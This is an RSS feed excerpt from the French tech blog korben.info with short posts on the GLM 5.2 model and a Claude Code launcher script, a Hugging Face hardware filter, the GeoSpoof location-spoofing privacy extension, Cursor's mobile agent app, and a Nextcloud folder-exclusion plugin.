<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>Les news de Korben</title><link>https://korben.info</link><description>Découvrez les dernières actualités tech, astuces et analyses sur Korben.info</description><generator>Mon hamster qui court dans une roue</generator><language>fr-FR</language><lastBuildDate>Tue, 30 Jun 2026 18:42:23 +0200</lastBuildDate><atom:link href="https://korben.info/feed" rel="self" type="application/rss+xml"/><image><url>https://korben.info/img/icon-192.png</url><title>Les news de Korben</title><link>https://korben.info</link></image><item><title>GLM 5.2 - Le premier modèle IA open source que je garde</title><link>https://korben.info/glm-5-2-retour-experience.html</link><pubDate>Tue, 30 Jun 2026 18:42:23 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/glm-5-2-retour-experience.html</guid><description>&lt;p&gt;Les amis, il faut que je vous parle de
&lt;a href="https://z.ai/blog/glm-5.2"&gt;GLM 5.2&lt;/a&gt;
. Je l'utilise en ce moment même à travers Z.ai, et c'est la première fois qu'un modèle open weights me donne satisfaction sur ce que je lui demande de faire. Et dieu sait que j'en ai testé de ces putains de modèles !&lt;/p&gt;
&lt;p&gt;GLM 5.2, c'est le dernier-né de Z.ai, le lab chinois connu avant sous le nom de Zhipu AI. Il est sorti en ce mois-ci (en juin), et c'est un gros bébé avec ses 744 milliards de paramètres en
&lt;a href="https://korben.info/llama-4-modeles-ia-meta-moe-efficacite.html"&gt;Mixture-of-Experts&lt;/a&gt;
(MoE), dont à peu près 40 milliards qui s'activent pour chaque token, ainsi qu'une fenêtre de contexte qui monte à 1 million de tokens via la déclinaison glm-5.2[1m]. Le tout publié, comme toujours, sous licence MIT, avec les poids téléchargeables sur HuggingFace.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Les amis, il faut que je vous parle de
&lt;a href="https://z.ai/blog/glm-5.2"&gt;GLM 5.2&lt;/a&gt;
. Je l'utilise en ce moment même à travers Z.ai, et c'est la première fois qu'un modèle open weights me donne satisfaction sur ce que je lui demande de faire. Et dieu sait que j'en ai testé de ces putains de modèles !&lt;/p&gt;
&lt;p&gt;GLM 5.2, c'est le dernier-né de Z.ai, le lab chinois connu avant sous le nom de Zhipu AI. Il est sorti en ce mois-ci (en juin), et c'est un gros bébé avec ses 744 milliards de paramètres en
&lt;a href="https://korben.info/llama-4-modeles-ia-meta-moe-efficacite.html"&gt;Mixture-of-Experts&lt;/a&gt;
(MoE), dont à peu près 40 milliards qui s'activent pour chaque token, ainsi qu'une fenêtre de contexte qui monte à 1 million de tokens via la déclinaison glm-5.2[1m]. Le tout publié, comme toujours, sous licence MIT, avec les poids téléchargeables sur HuggingFace.&lt;/p&gt;
&lt;p&gt;Bref, j'y croyais pas trop, mais j'ai quand même pris le petit abonnement Z.ai et j'ai lancé mes outils habituels et codé quelques nouvelles features sur mes logiciels. Et Ô surprise, il s'en sort très très bien pour mes usages (je dis bien pour mes usages !). J'ai eu aucun bug, pas de discussion à l'infini qui tourne autour du pot, ni de fin de conversation qui part en caractères chinois comme me faisait souvent Qwen.&lt;/p&gt;
&lt;p&gt;Après, le truc chouette, c'est que je l'ai branché directement dans Claude Code. Si ça vous intéresse, je me suis fait un petit launcher spécifique. C'est cadeau :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#!/usr/bin/env bash
export ANTHROPIC_BASE_URL=&amp;#34;https://api.z.ai/api/anthropic&amp;#34;
export ANTHROPIC_AUTH_TOKEN=VOTRE_CLE_API
export ANTHROPIC_DEFAULT_SONNET_MODEL=&amp;#34;glm-5.2[1m]&amp;#34;
export ANTHROPIC_DEFAULT_OPUS_MODEL=&amp;#34;glm-5.2[1m]&amp;#34;
export CLAUDE_CODE_AUTO_COMPACT_WINDOW=&amp;#34;1000000&amp;#34;
claude &amp;#34;$@&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Vous le sauvegardez sous le nom de votre choix, par exemple &amp;quot;glm&amp;quot;. Puis vous faites un :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;chmod +x glm
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Et ensuite vous le lancez comme ceci :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;./glm
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;
&lt;img src="https://korben.info/glm-5-2-retour-experience/glm-5-2-retour-experience-2.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;L'idée, c'est que comme l'API de Z.ai est compatible Anthropic, il suffit de pointer Claude Code vers leur endpoint, de glisser votre clé, et il cause à GLM 5.2 comme il causerait à Claude. Mes skills, mes scripts, tout marche pareil, c'est le feu !&lt;/p&gt;
&lt;p&gt;Je regrette juste une chose, c'est de ne pas pouvoir le faire tourner
&lt;a href="https://korben.info/vllm-mlx-serveur-inference-apple-silicon.html"&gt;en local&lt;/a&gt;
chez moi. Parce que le bestiau, il est TROP gros.
&lt;a href="https://unsloth.ai/docs/models/glm-5.2"&gt;Même raboté et quantifié en 2-bit pour la maison&lt;/a&gt;
, il vous bouffe dans les 240 Go de RAM. Chez moi, j'ai pas le matos, et vous probablement pas non plus. Donc pour le moment, l'API, c'est la seule porte d'entrée réaliste et abordable.&lt;/p&gt;
&lt;p&gt;Que ce soit Qwen, Llama, Kimi, DeepSeek, peu importe ce que j'ai testé en local, pour mes usages un peu chiadés, à chaque fois je suis super déçu. Alors celui-là, pour ce que je lui demande, il tient très bien la route.&lt;/p&gt;
&lt;p&gt;Maintenant, je vais pas vous vendre ça non plus comme un Claude Killer mais j'ai quand même trouvé un benchmark qui confirme mon ressenti. Sur le
&lt;a href="https://arena.ai/leaderboard/code/webdev"&gt;leaderboard Arena.ai&lt;/a&gt;
dédié au code front-end, GLM 5.2 pointe à la deuxième place, juste derrière Fable 5. Et comme tout ce qui le précède est propriétaire, ça en fait le premier modèle open weights à ce niveau du classement.&lt;/p&gt;
&lt;img src="https://korben.info/glm-5-2-retour-experience/glm-5-2-retour-experience-3.png" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;Donc c'est pas la meilleure IA du monde, hein, mais c'est la première open source qui me donne un résultat qui me convient. Et vous savez tous à quel point je suis chiant et exigeant avec ce genre d'outil. En tout cas, c'est la première fois que je me dis que l'IA open source pourrait vraiment entrer dans mon flux du quotidien, et pas juste rester un joujou pour classer des trucs ou faire du slop sur des blogs de SEO. Maintenant, entre nous, j'attends surtout que Fable 5, ou son équivalent, revienne mettre le feu !!&lt;/p&gt;
&lt;p&gt;Si ça vous tente d'essayer, il y a donc le GLM Coding Plan de Z.ai, qui démarre à 18 dollars par mois et qui est surtout taillé pour le code. Il se branche sur Claude Code, Cline et une vingtaine d'outils du même acabit. Petit conseil au passage, ce lien
&lt;a href="https://z.ai/subscribe?ic=W0IIS5QOKQ"&gt;vers le Plan GLM&lt;/a&gt;
est un lien affilié certes, mais il vous offre 10 % de réduc si vous l'utilisez, et ça me file un petit truc aussi, donc tout le monde y gagne.&lt;/p&gt;
&lt;p&gt;Voilà, si vous codez avec autre chose jusqu'ici, ça vaut le coup d'y jeter un œil par curiosité.&lt;/p&gt;
&lt;p&gt;Source :
&lt;a href="https://z.ai/blog/glm-5.2"&gt;Z.ai&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>intelligence-artificielle/actualites-ia</category><category>intelligence-artificielle/chatbots-llm</category><category>Claude Code</category><category>GLM</category><category>IA</category><category>IA locale</category><category>LLM</category><category>open source</category><category>Z.ai</category><media:content url="https://korben.info/glm-5-2-retour-experience/glm-5-2-retour-experience-1.png" medium="image" type="image/png" width="1672" height="941"/></item><item><title>Hugging Face sait enfin vous dire si un modèle tourne sur votre machine</title><link>https://korben.info/huggingface-filtre-modeles-materiel.html</link><pubDate>Tue, 30 Jun 2026 18:24:06 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/huggingface-filtre-modeles-materiel.html</guid><description>&lt;p&gt;Vous avez une petite carte graphique, un vieux Mac ou juste un bon processeur, et vous cherchez LE modèle d'IA parfait qui pourra tourner en local sans que ça rame ?&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://huggingface.co/changelog/filter-models-by-hardware"&gt;Hugging Face&lt;/a&gt;
vient d'ajouter le filtre qui manquait à sa page Models : un sélecteur de matériel qui ne vous proposera que les modèles réellement compatibles avec votre machine.&lt;/p&gt;
&lt;img src="https://korben.info/huggingface-filtre-modeles-materiel/huggingface-filtre-modeles-materiel-2.png" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;Vous renseignez votre config (une RTX 3060, un processeur AMD, une puce Apple Silicon M2…) dans les réglages de votre compte, et le catalogue ne gardera plus que ce qui passe pour un GPU, un CPU ou une puce Apple précis.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Vous avez une petite carte graphique, un vieux Mac ou juste un bon processeur, et vous cherchez LE modèle d'IA parfait qui pourra tourner en local sans que ça rame ?&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://huggingface.co/changelog/filter-models-by-hardware"&gt;Hugging Face&lt;/a&gt;
vient d'ajouter le filtre qui manquait à sa page Models : un sélecteur de matériel qui ne vous proposera que les modèles réellement compatibles avec votre machine.&lt;/p&gt;
&lt;img src="https://korben.info/huggingface-filtre-modeles-materiel/huggingface-filtre-modeles-materiel-2.png" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;Vous renseignez votre config (une RTX 3060, un processeur AMD, une puce Apple Silicon M2…) dans les réglages de votre compte, et le catalogue ne gardera plus que ce qui passe pour un GPU, un CPU ou une puce Apple précis.&lt;/p&gt;
&lt;p&gt;Fini l'époque, donc, où il fallait ouvrir chaque fiche, chercher la VRAM requise, sortir la calculette et croiser les doigts au moment du lancement.&lt;/p&gt;
&lt;p&gt;Ce filtre d'Hugging Face repose sur la taille des fichiers proposés, notamment les versions quantifiées au format GGUF, ces modèles compressés qui font tourner de grosses IA sur des machines modestes, et sur la RAM ou la VRAM de votre config déclarée. Cette base hardware est constituée de
&lt;a href="https://huggingface.co/hardware"&gt;ce que possède réellement la communauté&lt;/a&gt;
des 300 000 membres qui ont accepté de déclarer leur matériel.&lt;/p&gt;
&lt;p&gt;Une fois le bon modèle repéré, vous récupérez les commandes via le bouton "Use this model" présent sur chaque fiche, puis vous lancez tout ça avec les outils habituels de l'IA locale, du genre llama.cpp, Ollama ou LM Studio. Et pour ceux qui veulent aller plus loin sur Apple Silicon, il existe également
&lt;a href="https://korben.info/vllm-mlx-serveur-inference-apple-silicon.html"&gt;des serveurs d'inférence maison pour remplacer l'API d'OpenAI par votre propre Mac&lt;/a&gt;
.&lt;/p&gt;
&lt;p&gt;Maintenant, si vous avez un chip un peu exotique,
&lt;a href="https://korben.info/lemonade-sdk-serveur-llm-local-npu-amd.html"&gt;un accélérateur NPU&lt;/a&gt;
ou une carte à peine sortie, il faudra parfois patienter, voire passer par le forum pour réclamer son ajout dans la base, mais bon, je chipote !&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://huggingface.co/changelog/filter-models-by-hardware"&gt;Source&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>intelligence-artificielle/ia-developpement</category><category>tutoriels-guides/astuces-productivite</category><category>Apple Silicon</category><category>GGUF</category><category>GPU</category><category>Hugging Face</category><category>IA locale</category><category>LLM</category><media:content url="https://korben.info/huggingface-filtre-modeles-materiel/huggingface-filtre-modeles-materiel-1.png" medium="image" type="image/png" width="1254" height="1254"/></item><item><title>GeoSpoof - Le VPN cache votre IP mais le navigateur vous trahit</title><link>https://korben.info/geospoof-vpn-navigateur-localisation.html</link><pubDate>Tue, 30 Jun 2026 14:48:39 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/geospoof-vpn-navigateur-localisation.html</guid><description>&lt;p&gt;Anthony Sgro vient d'open-sourcer un truc que tout utilisateur de VPN devrait avoir sous la main. C'est extension pour Safari, Chrome et Firefox (et pas Faille-Fox, déso) qui s'appelle &lt;strong&gt;
&lt;a href="https://geospoof.com/#download"&gt;GeoSpoof&lt;/a&gt;
&lt;/strong&gt; et qui part d'un constat tout bête que la plupart des gens ignorent.&lt;/p&gt;
&lt;p&gt;En fait, votre VPN change masque bien votre adresse IP réelle (s'il est bien configuré, hein), d'accord, super, mais votre navigateur, lui, continue tranquillement de tout balancer aux sites web et notamment le lieu où vous vous trouvez vraiment.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Anthony Sgro vient d'open-sourcer un truc que tout utilisateur de VPN devrait avoir sous la main. C'est extension pour Safari, Chrome et Firefox (et pas Faille-Fox, déso) qui s'appelle &lt;strong&gt;
&lt;a href="https://geospoof.com/#download"&gt;GeoSpoof&lt;/a&gt;
&lt;/strong&gt; et qui part d'un constat tout bête que la plupart des gens ignorent.&lt;/p&gt;
&lt;p&gt;En fait, votre VPN change masque bien votre adresse IP réelle (s'il est bien configuré, hein), d'accord, super, mais votre navigateur, lui, continue tranquillement de tout balancer aux sites web et notamment le lieu où vous vous trouvez vraiment.&lt;/p&gt;
&lt;img src="https://korben.info/geospoof-vpn-navigateur-localisation/geospoof-vpn-navigateur-localisation-1.png" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;&lt;em&gt;Venez pas chez moi, c'est pas mon adresse...&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Et il a mille façons de le faire. Y'a d'abord l'API de géolocalisation qui balance vos coordonnées GPS si vous l'autorisez, mais surtout y'a tout le reste, beaucoup plus sournois comme votre fuseau horaire, par exemple. Vous êtes connecté à un serveur VPN à New York mais votre navigateur répond &lt;code&gt;Europe/Paris&lt;/code&gt; quand un script lui demande l'heure, et hop, le site comprend en une milliseconde que vous bluffez. Pareil avec l'objet &lt;code&gt;Intl.DateTimeFormat&lt;/code&gt;, avec le &lt;code&gt;Date&lt;/code&gt; du système, avec WebRTC qui adore fuiter votre vraie IP locale.&lt;/p&gt;
&lt;p&gt;Vous pouvez avoir le meilleur VPN du monde, si ces signaux-là pointent tous vers chez vous pendant que votre IP dit le contraire, et vous êtes encore plus repérable qu'un mec sans VPN. C'est exactement
&lt;a href="https://korben.info/surfshark-vpn-ce-quil-ne-fait-pas.html"&gt;ce qu'un VPN ne fait pas&lt;/a&gt;
tout seul et c'est pour ça que votre abonnement à Youtube Premium, Netflix, ou Disney+ à 30 centimes acheté en Turquie ou je ne sais où, fini par se faire flagger.&lt;/p&gt;
&lt;img src="https://korben.info/geospoof-vpn-navigateur-localisation/geospoof-vpn-navigateur-localisation-2.png" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;GeoSpoof colmate donc ce trou en venant rebrancher directement ces APIs dans le navigateur sur du contenu factice. L'extension s'injecte au tout début du chargement de la page, avant que le JavaScript du site ait eu le temps de tourner et ensuite quand un script demande votre position, votre heure ou votre fuseau, il reçoit la localisation que VOUS avez choisie, et tout est cohérent. Géoloc, timezone, dates, WebRTC, tout raconte la même histoire et y'a plus de signal contradictoire qui dépasse.&lt;/p&gt;
&lt;img src="https://korben.info/geospoof-vpn-navigateur-localisation/geospoof-vpn-navigateur-localisation-3.png" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;Le mode que je trouve le plus pratique, dans GeoSpoof c'est surtout la synchro VPN automatique. L'extension repère l'IP de sortie de votre VPN, et elle aligne toute seule votre localisation navigateur dessus. Si vous changez de serveur, et que vous passez de Tokyo à Montréal, hé bien elle resynchronise sans que vous n'ayez à toucher à quoi que ce soit.&lt;/p&gt;
&lt;p&gt;Sinon vous pouvez aussi y aller à la main, chercher une ville précise ou taper vos coordonnées directement. Pour vérifier que ça marche vraiment, l'auteur a même monté une page de test sur
&lt;a href="https://geospoof.com/verify"&gt;geospoof.com/verify&lt;/a&gt;
, et l'extension passe les outils classiques de fingerprinting comme CreepJS ou BrowserLeaks.&lt;/p&gt;
&lt;p&gt;Petit détail qui prouve le soin du travail, les overrides sont déguisés pour répondre &lt;code&gt;[native code]&lt;/code&gt; quand un script essaie de vérifier s'ils ont été trafiqués. Héhé, malin !&lt;/p&gt;
&lt;p&gt;Là où Anthony Sgro est honnête, c'est qu'il ne vous vend pas l'invisibilité totale. C'est écrit dans la doc que GeoSpoof ne change PAS votre IP. Sans un VPN derrière, votre adresse continue donc de pointer vers chez vous, et le bénéfice restera limité face aux sites qui recoupent l'IP.&lt;/p&gt;
&lt;p&gt;Ça ne bypasse pas non plus la détection côté serveur, votre historique de compte ou votre moyen de paiement vous trahiront toujours. Et le mode le plus agressif, qui passe par le protocole de debug de Chrome pour verrouiller le fuseau jusque dans les workers, reste détectable par les outils qui cherchent spécifiquement ce genre de bidouille. C'est juste un outil de cohérence à utiliser en complément
&lt;a href="https://korben.info/meilleur-vpn.html"&gt;du meilleur VPN auquel vous vous êtes abonnés&lt;/a&gt;
^^.&lt;/p&gt;
&lt;p&gt;Ça tourne sur Firefox, Chrome, Brave, Edge et même Safari sur iOS et macOS via l'App Store. Tout est sous licence MIT, et y'a pas de tracking ni de collecte de données dedans. C'est rare de voir des extension d'une si bonne qualité de finition, encore bravo à Anthony !!&lt;/p&gt;
&lt;p&gt;Puis si vous bidouillez déjà votre vie privée avec un truc comme
&lt;a href="https://korben.info/fingerprint-defender-extension-firefox.html"&gt;Fingerprint Defender&lt;/a&gt;
, GeoSpoof complètera le tableau parfaitement sur la partie localisation.&lt;/p&gt;
&lt;p&gt;Bref, un VPN sans ça, c'est une porte blindée avec une fenêtre grande ouverte à côté. Allez jeter un œil, ça prend 2 min à installer !&lt;/p&gt;</content:encoded><category>cybersecurite/outils-securite</category><category>vie-privee-anonymat/vpn-proxy</category><category>Extension navigateur</category><category>fingerprinting</category><category>géolocalisation</category><category>navigateur</category><category>open source</category><category>vie privée</category><category>VPN</category><media:content url="https://korben.info/geospoof-vpn-navigateur-localisation/geospoof-vpn-navigateur-localisation-1.jpg" medium="image" type="image/jpeg" width="2560" height="1596"/></item><item><title>Cursor Mobile - Vos agents de coding pilotés depuis iPhone</title><link>https://korben.info/cursor-mobile-piloter-agents-ia-smartphone.html</link><pubDate>Tue, 30 Jun 2026 13:31:06 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/cursor-mobile-piloter-agents-ia-smartphone.html</guid><description>&lt;p&gt;
&lt;a href="https://korben.info/cursor-cli-gpt-5-directement-votre-terminal.html"&gt;Cursor&lt;/a&gt;
, le célèbre IDE de vibe coding, vient de sortir une app iOS qui permet de piloter des agents IA codant à votre place, directement depuis un smartphone.&lt;/p&gt;
&lt;p&gt;Je ne parle donc pas d'écrire du code sur un écran de six pouces, hein, mais bien de lancer une tâche, de la confier à un agent qui bosse tout seul dans le cloud, et de garder un œil dessus pendant que vous êtes dans le métro ou affalé dans le canapé.&lt;/p&gt;</description><content:encoded>&lt;p&gt;
&lt;a href="https://korben.info/cursor-cli-gpt-5-directement-votre-terminal.html"&gt;Cursor&lt;/a&gt;
, le célèbre IDE de vibe coding, vient de sortir une app iOS qui permet de piloter des agents IA codant à votre place, directement depuis un smartphone.&lt;/p&gt;
&lt;p&gt;Je ne parle donc pas d'écrire du code sur un écran de six pouces, hein, mais bien de lancer une tâche, de la confier à un agent qui bosse tout seul dans le cloud, et de garder un œil dessus pendant que vous êtes dans le métro ou affalé dans le canapé.&lt;/p&gt;
&lt;img src="https://korben.info/cursor-mobile-piloter-agents-ia-smartphone/cursor-mobile-piloter-agents-ia-smartphone-1.jpeg" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;Vous lancez l'app, vous tapez ce que vous voulez faire, et un agent part bosser dans sa VM avec son environnement de dev complet. Et vous pouvez comme ça en lancer plusieurs en même temps et suivre leur avancement, même sur l'écran verrouillé sur smartphone. Quand il se retrouve bloqué, l'agent IA vous envoie une notif et quand c'est fini, vous n'avez plus qu'à relire les diffs, à passer en revue les captures écran, à consulter les logs et merger la pull request directement depuis le téléphone.&lt;/p&gt;
&lt;p&gt;Je vous laisse avec Benjamin qui va vous expliquer ça (roooh, ça va, j'rigole) :&lt;/p&gt;
&lt;div class="video-container" id="video-container-cursor-mobile-piloter-agents-ia-smartphone-1.mp4"&gt;
&lt;video controls preload="metadata" &gt;
&lt;source src="https://korben.info/cursor-mobile-piloter-agents-ia-smartphone/cursor-mobile-piloter-agents-ia-smartphone-1.mp4" type="video/mp4" /&gt;
&lt;pre&gt;&lt;code&gt;Votre navigateur ne supporte pas la lecture de vidéos HTML5. Voici un
&amp;lt;a href=&amp;quot;/cursor-mobile-piloter-agents-ia-smartphone/cursor-mobile-piloter-agents-ia-smartphone-1.mp4&amp;quot;&amp;gt;lien vers la vidéo&amp;lt;/a&amp;gt;.
&lt;/code&gt;&lt;/pre&gt;
&lt;/video&gt;
&lt;div&gt;
&lt;p&gt;Y'a aussi un mode &amp;quot;remote control&amp;quot; comme ce qu'on retrouve chez
&lt;a href="https://korben.info/claude-code-fuite-code-source-npm-source-maps.html"&gt;Claude Code&lt;/a&gt;
, qui récupère un agent déjà lancé sur votre ordi, afin de pouvoir continuer à le piloter à distance. Moi j'utilise souvent ce genre de trucs quand je dois m'absenter pour faire une course, afin de ne pas perdre de temps.&lt;/p&gt;
&lt;p&gt;On est, en quelques mois, passé d'un monde où le dev tapait religieusement chaque ligne à un monde où il décrit une &amp;quot;intention&amp;quot; et supervise des
&lt;a href="https://korben.info/xcode-26-3-agentic-coding-tc.html"&gt;agents qui exécutent&lt;/a&gt;
le taf. Et le clavier devient presque accessoire, surtout avec des outils comme
&lt;a href="https://voxdrop.korben.info/"&gt;VoxDrop&lt;/a&gt;
.&lt;/p&gt;
&lt;img src="https://korben.info/cursor-mobile-piloter-agents-ia-smartphone/cursor-mobile-piloter-agents-ia-smartphone-2.jpeg" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;L'app est en beta publique, réservée aux plans payants, et pour l'instant c'est iOS uniquement, et Cursor lance aussi une promo de 75% sur les runs Composer 2.5 dans l'app jusqu'au 5 juillet, histoire de vous faire tester tout ça tranquillement.&lt;/p&gt;
&lt;p&gt;L'app est dispo sur l'
&lt;a href="https://apps.apple.com/us/app/cursor/id6767085653"&gt;App Store&lt;/a&gt;
si vous voulez faire du dev depuis vos toilettes.&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://techcrunch.com/2026/06/29/cursor-now-has-a-mobile-app-for-guiding-your-coding-agent-on-the-go/"&gt;Source&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>apple-mobile/iphone-ipad</category><category>developpement/outils-developpement</category><category>intelligence-artificielle/chatbots-llm</category><category>agents IA</category><category>Cursor</category><category>développement</category><category>IA</category><category>iOS</category><category>SpaceX</category><media:content url="https://korben.info/cursor-mobile-piloter-agents-ia-smartphone/cursor-mobile-piloter-agents-ia-smartphone-1.jpg" medium="image" type="image/jpeg" width="1400" height="788"/></item><item><title>Allégez Nextcloud en virant les dossiers node_modules de l'index</title><link>https://korben.info/nextcloud-files-excludedirs-node-modules.html</link><pubDate>Tue, 30 Jun 2026 13:18:44 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/nextcloud-files-excludedirs-node-modules.html</guid><description>&lt;p&gt;Si vous avez déjà branché un stockage externe sur votre
&lt;a href="https://korben.info/self-hosting-guide-auto-hebergement.html"&gt;Nextcloud&lt;/a&gt;
et regardé &lt;code&gt;occ files:scan&lt;/code&gt; ramper en mode larve durant des plombes lors d'une indexation, vous connaissez le coupable.&lt;/p&gt;
&lt;p&gt;C'est évidemment un dossier node_modules qui contient des dizaines de milliers de tout petits fichiers, qui se fait indexer dans la base de Nextcloud, faisant tout ramer jusqu'à l'infini (ou presque...).&lt;/p&gt;
&lt;p&gt;Heureusement, Marc Palaus a repris le vieux plugin
&lt;a href="https://github.com/wonx/nextcloud-files-excludedirs"&gt;files_excludedirs&lt;/a&gt;
(lancé à l'origine par Roeland Jago Douma, puis passé de fork en fork) et l'a remis d'aplomb pour Nextcloud 32 à 34. Le taf de ce plugin c'est tout simplement d'ordonner à Nextcloud d'ignorer purement et simplement les dossiers que vous lui indiquez.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Si vous avez déjà branché un stockage externe sur votre
&lt;a href="https://korben.info/self-hosting-guide-auto-hebergement.html"&gt;Nextcloud&lt;/a&gt;
et regardé &lt;code&gt;occ files:scan&lt;/code&gt; ramper en mode larve durant des plombes lors d'une indexation, vous connaissez le coupable.&lt;/p&gt;
&lt;p&gt;C'est évidemment un dossier node_modules qui contient des dizaines de milliers de tout petits fichiers, qui se fait indexer dans la base de Nextcloud, faisant tout ramer jusqu'à l'infini (ou presque...).&lt;/p&gt;
&lt;p&gt;Heureusement, Marc Palaus a repris le vieux plugin
&lt;a href="https://github.com/wonx/nextcloud-files-excludedirs"&gt;files_excludedirs&lt;/a&gt;
(lancé à l'origine par Roeland Jago Douma, puis passé de fork en fork) et l'a remis d'aplomb pour Nextcloud 32 à 34. Le taf de ce plugin c'est tout simplement d'ordonner à Nextcloud d'ignorer purement et simplement les dossiers que vous lui indiquez.&lt;/p&gt;
&lt;p&gt;Donc si vous lui donnez ce pattern, il esquivera tout ce qui correspond :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;occ config:app:set files_excludedirs exclude \
--value &amp;#39;[&amp;#34;.snapshot&amp;#34;,&amp;#34;node_modules&amp;#34;,&amp;#34;cache/*/tmp&amp;#34;]&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Un tableau JSON, un pattern par entrée, et vous pouvez glisser des wildcards comme &lt;code&gt;cache/*/tmp&lt;/code&gt; pour taper plusieurs sous-dossiers d'un coup.&lt;/p&gt;
&lt;p&gt;Ensuite, pour voir ce qui tourne, &lt;code&gt;occ config:app:get files_excludedirs exclude&lt;/code&gt;. Ou si vous préférez cliquer, l'app propose aussi un menu Exclude Directories dans les réglages admin, avec un bouton Preview Changes pour voir ce que vous allez virer avant de valider.&lt;/p&gt;
&lt;p&gt;Pour les fichiers qui n'ont pas encore été indexés, c'est nickel donc. Mais pour ceux qui sont déjà dans la base, cette exclusion les rendra inaccessibles mais ils seront toujours là à traîner dans les résultats de recherche.&lt;/p&gt;
&lt;p&gt;Alors pour les dégager pour de bon, voici quelle ligne de commande vous devez lancer :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;occ files_excludedirs:clean-cache --dry-run
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;J'ai mis un dry-run en paramètre, parce que ça permet de faire tourner ça à blanc sur quelques résultats, sans flinger la mauvaise arborescence. Mais une fois que vous êtes chaud patate et sûr de vous, vous devrez relancer la même commande sans le --dry-run.&lt;/p&gt;
&lt;p&gt;Notez que si vous montez par exemple un partage genre &amp;quot;Shared/Holiday&amp;quot; directement à la racine d'un utilisateur, vos fichiers ont un chemin du style &lt;code&gt;photo.jpg&lt;/code&gt;, et pas &lt;code&gt;Shared/Holiday/photo.jpg&lt;/code&gt;. C'est le chemin complet qu'il faudra viser donc...&lt;/p&gt;
&lt;p&gt;En tout cas, j'ai été surprise d'apprendre qu'exclure des dossiers du scan, c'est une demande qui traîne sur le tracker Nextcloud depuis l'
&lt;a href="https://github.com/nextcloud/server/issues/6888"&gt;issue #6888&lt;/a&gt;
publiée en 2017... Ça existait pourtant côté ownCloud. Dommage quoi.&lt;/p&gt;
&lt;p&gt;Pour installer ce plugin, vous récupérez l'archive sur la page Releases, vous décompressez dans &lt;code&gt;nextcloud/apps&lt;/code&gt;, vous activez depuis l'admin. Ou alors un petit git clone + un composer install pour la version source et le tour est joué !&lt;/p&gt;
&lt;p&gt;Et si la lourdeur de Nextcloud vous gonfle plus globalement, il y a des alternatives plus légères comme
&lt;a href="https://korben.info/opencloud-alternative-nextcloud-go-auto-hebergement.html"&gt;OpenCloud&lt;/a&gt;
.&lt;/p&gt;</content:encoded><category>self-hosting</category><category>tutoriels-guides/tutoriels-avances</category><category>auto-hébergement</category><category>Nextcloud</category><category>open source</category><category>self-hosted</category><category>stockage cloud</category><media:content url="https://korben.info/nextcloud-files-excludedirs-node-modules/nextcloud-files-excludedirs-node-modules-1.png" medium="image" type="image/png" width="1672" height="941"/></item><item><title>Il a transformé quatre disques durs en enceintes pour rejouer une démo culte de 1993</title><link>https://korben.info/il-a-transforme-quatre-disques-durs-en-enceintes-pour-rejouer-une-demo-culte-de-1993.html</link><pubDate>Tue, 30 Jun 2026 11:53:28 +0200</pubDate><dc:creator>Vincent Lautier</dc:creator><guid>https://korben.info/il-a-transforme-quatre-disques-durs-en-enceintes-pour-rejouer-une-demo-culte-de-1993.html</guid><description>&lt;p&gt;Un développeur du nom de Niv Singer a eu l'idée improbable de brancher quatre vieux disques durs en guise d'enceintes, puis de leur faire cracher Second Reality, cette production que le groupe finlandais Future Crew a sortie en 1993 et qui reste, plus de trente ans après, l'une des plus vénérées de toute l'histoire du PC, avec une musique extraordinaire (que j'ai écoutée des millions de fois).&lt;/p&gt;
&lt;p&gt;[Embed: https://hackaday.com/2026/06/29/hard-drive-speakers-crank-out-classic-demo/]&lt;/p&gt;
